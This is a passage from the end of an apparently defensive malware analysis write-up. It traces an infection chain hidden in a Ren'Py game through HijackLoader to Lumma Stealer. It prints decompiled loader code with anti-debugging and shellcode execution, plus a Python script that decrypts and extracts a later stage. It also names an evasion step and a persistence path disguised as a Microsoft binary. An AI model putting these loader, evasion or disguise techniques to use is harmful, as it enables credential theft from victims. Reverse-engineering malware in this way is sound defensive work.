v22[1] = v25; v22[26] = v46; v22[17] = v47; v22[13] = v48; v22[30] = v28; v22[20] = v49; v22[15] = v50; v22[25] = v34; v22[19] = v51; v22[12] = v52; v22[27] = v53; v22[21] = v54; v22[28] = v55; v22[9] = v56; v22[22] = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[77], v28, (__int64)v21); v22[23] = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[40], v28, (__int64)v21); v22[31] = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[9], v28, (__int64)v21); v22[7] = v21; v40 = (__int64 (__fastcall *)(int, const char **, _QWORD, _BYTE *, _QWORD, unsigned int *))ResolveExportByHash( *(__int64 *)&argc, (__int64)argv, v21[70], v25, (__int64)v21); v23[0] = 0; if ( *((_BYTE *)v65 + 16) ) { NtQuerySystemInformation(*(__int64 *)&argc, (__int64)argv, v23, (__int64)v22); if ( v23[0] ) { for ( i = 0; i < 9; ++i ) sleep( *(__int64 *)&argc, (__int64)argv, 5000, (__int64 (__fastcall *)(__int64, __int64, _DWORD *, _QWORD))v22[19]); } } v31 = 0; v41 = 0LL; v35 = 0LL; v43 = v21[60]; v44 = v21[53]; result = (unsigned __int8)LoadConfigFile( *(__int64 *)&argc, (__int64)argv, (__int64)v65[1], (__int64)v22, (__int64 *)&v41, (unsigned int *)&v31); if ( (_BYTE)result ) { result = ParseChunks( *(__int64 *)&argc, (__int64)argv, v31, v41, &v35, (__int64)v22, v9, v12, v15, v18, (__int64)v21); if ( (_BYTE)result ) { v42 = 0LL; v36 = v35; v57 = v35 + 16; result = Decompress( *(__int64 *)&argc, (__int64)argv, *(unsigned int *)(v35 + 8), v35 + 16, *(_DWORD *)(v35 + 12), &v42, v10, v13, v16, v19, (__int64)v22); if ( (_BYTE)result ) { v30 = v42; v32 = 0; if ( !(unsigned int)strlen(*(__int64 *)&argc, (__int64)argv, v6, v42 + 144) ) v32 = *(_DWORD *)(v30 + 352); v37 = *(unsigned int *)(v30 + 8) + v30 + v32 + 989; v24 = 0; v59 = (_BYTE *)sub_6E0( argc, (_DWORD)argv, v37, (_DWORD)v22, (unsigned int)&v24, v21[35], v11, v14, v17, v20, (__int64)v21); Basename = (_WORD *)v34(argc, argv, 522LL, 64LL); mbtowcs(*(__int64 *)&argc, (__int64)argv, Basename, (char *)(v30 + 244)); Basename = (_WORD *)GetBasename(*(__int64 *)&argc, (__int64)argv, v7, (__int64)Basename); LibraryW = LoadLibraryW(*(__int64 *)&argc, (__int64)argv, (__int64)Basename, (__int64)v22); v58 = PointerToPeHeaders(*(__int64 *)&argc, (__int64)argv, v8, LibraryW); v29 = (_BYTE *)(*(unsigned int *)(v58 + 44) + LibraryW); v39 = (_BYTE *)v34(argc, argv, v24, 64LL); memcpy(argc, (_DWORD)argv, v29, v39, v24); *(_QWORD *)(v37 + 3264) = v39; v27 = 0; v45 = v40(argc, argv, v24, v29, v21[62], &v27); memcpy(argc, (_DWORD)argv, v59, v29, v24); v40(argc, argv, v24, v29, v27, &v27); v60 = v29; v61 = v21[62]; v62 = v29; v63 = v24; return ((__int64 (__fastcall *)(int, const char **, __int64, __int64, __int64, unsigned int *))v29)( argc, argv, v37, v30, v36, &v61); } } } return result; }

The high-level behaviour :

  • PEB walking to enumerate loaded modules without using Windows API.
  • Anti-debugging : calls NtQuerySystemInformation and sleeps 5 seconds × 9 if a debugger is detected.
  • Loads system-proc.xml via LoadConfigFile.
  • Parses chunks with the pattern ????IDAT from the XML file.

The ParseChunks function :

ParseChunks in IDA

This function concatenates all chunks matching the ????IDAT pattern in system-proc.xml.

IDAT chunks in system-proc.xml

The first one appears right after the gibberish text :

First IDAT chunk

Those chunks are then XOR-decrypted and LZNT1-decompressed. I used this script to extract the next binary stage :

python
import struct from dissect.util.compression import lznt1 png = open("system-proc.xml", "rb").read() pos = png.find(b"IDAT") - 4 idat = bytearray() while pos + 8 <= len(png): ln = struct.unpack(">I", png[pos:pos+4])[0] typ = png[pos+4:pos+8] if typ == b"IDAT": idat += png[pos+8:pos+8+ln] pos += 12 + ln if typ == b"IEND": break idat = bytes(idat) marker, key, comp_size, decomp_size = struct.unpack_from("<IIII", idat, 0) print(f""" MARKER : {struct.pack('<I', marker).hex().upper()} KEY : {struct.pack('<I', key).hex().upper()} COMP SIZE : {int(comp_size)} DECOMP SIZE : {int(decomp_size)} """) body = bytearray(idat[16:16+comp_size]) kb = struct.pack("<I", key) for i in range(0, len(body) & ~3, 4): for j in range(4): body[i+j] ^= kb[j] stage2 = lznt1.decompress(bytes(body)) open("stage2.bin", "wb").write(stage2)

At this step I was a bit stuck so I asked some help to my friend : ScottKushy We looked up about this technique online, it is called IDAT Loader / HijackLoader, first seen in the wild in 2023. A lot of malware families are now abusing it.

Reference : https://malpedia.caad.fkie.fraunhofer.de/details/win.hijackloader

While researching we came across this post : G DATA — PiviGames spreads HijackLoader, which was very close to my case. The author left a GitHub script to properly extract the HijackLoader configuration : https://github.com/struppigel/hedgehog-tools/tree/main/HijackLoader

HijackLoader Configuration

Running the extraction script, we managed to get all the embedded components :

AVDATA:              OpenPGP Secret Key Version 2
COPYLIST:            data
CUSTOMINJECT:        PE32 executable (GUI) Intel 80386, for MS Windows, 6 sections
CUSTOMINJECTPATH:    ASCII text, with no line terminators
ESAL / ESAL64:       data
ESLDR / ESLDR64:     data / zlib compressed
ESWR / ESWR64:       data
FIXED:               PE32 executable (console) Intel 80386, for MS Windows
LauncherLdr64:       PE32+ executable (console) x86-64, for MS Windows
modCreateProcess:    data
modTask64:           zlib compressed data
modUAC64:            zlib compressed data
modWD64:             zlib compressed data
modWriteFile64:      zlib compressed data
MUTEX:               data
PAYLOAD:             PE32 executable (GUI) Intel 80386, for MS Windows, 7 sections
tinystub / tinystub64: PE32/PE32+ executables
tinyutilitymodule.dll / tinyutilitymodule64.dll: PE DLLs

Reading CUSTOMINJECTPATH confirms that the malware drops its persistence at %TEMP%\1778015778\MicrosoftEdgeUpdate.exe, disguised as a legitimate Microsoft binary.

The Final Payload: Lumma Stealer

The PAYLOAD file is the binary launched by the other components loaded by system-proc.xml. Here is the full infection chain :

Full infection chain

In my case the malware dropped was not an ACRStealer but a Lumma Stealer. Reversing it statically was too hard, so Scott ran the final payload and debugged it with x32dbg, which allowed us to retrieve the C2 information :

C2 information from x32dbg

This confirms what VirusTotal shows in the relations tab after uploading the malware : VirusTotal report

Here is the full attack graph :

Full attack graph

Conclusion

Looking up the C2 domain online confirms it's quite recent :

Domain age check

Unfortunately, as it is behind Cloudflare I couldn't find a way to get more information about the owners of this domain.

To summarize the full chain :

  1. Ren'Py wrapper → abuses the engine's import hook to silently load sys_config
  2. Sandbox evasion → hardware model/manufacturer check via WMI (filesystem checks are dead code)
  3. Bytecode dropper → hidden in bytecode-39.rpyb, XOR-decrypts and extracts a password-protected archive
  4. Stage 2 loader → full dropper in libwin32.rpa, decodes an XOR-encrypted config, phones home via Clicky analytics
  5. DLL patchingutil.dll injects shellcode from displaydef.dll into tapisrv.dll's .text section
  6. IDAT Loader / HijackLoader → shellcode parses PNG-like IDAT chunks from system-proc.xml, decompresses and executes stage 3
  7. Lumma Stealer → final payload, exfiltrates credentials via a Cloudflare-protected C2
← ARTICLES